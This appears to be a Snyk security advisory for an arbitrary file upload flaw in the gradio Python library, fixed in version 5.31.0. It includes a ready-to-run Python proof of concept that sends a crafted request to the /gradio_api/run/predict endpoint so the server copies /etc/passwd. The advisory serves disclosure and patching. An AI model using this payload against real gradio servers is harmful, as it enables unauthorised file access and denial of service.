Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary File Upload vulnerabilities in an interactive lesson.
Start learningUpgrade gradio
to version 5.31.0 or higher.
gradio is a Python library for easily interacting with trained machine learning models
Affected versions of this package are vulnerable to Arbitrary File Upload through the shutil.copy
operation in the FileData._copy_to_dir()
method. An attacker can disrupt server operations by copying large or system-critical files to exhaust disk resources by sending specially crafted requests to the /gradio_api/run/predict
endpoint.
import requests
url = "https://[your-gradio-app-url]/gradio_api/run/predict"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
}
payload = {
"data": [
{
"path": "/etc/passwd",
"url": "[your-gradio-app-url]",
"orig_name": "network_config",
"size": 5000,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
},
{}
],
"event_data": None,
"fn_index": 4,
"trigger_id": 11,
"session_hash": "test123"
}
response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")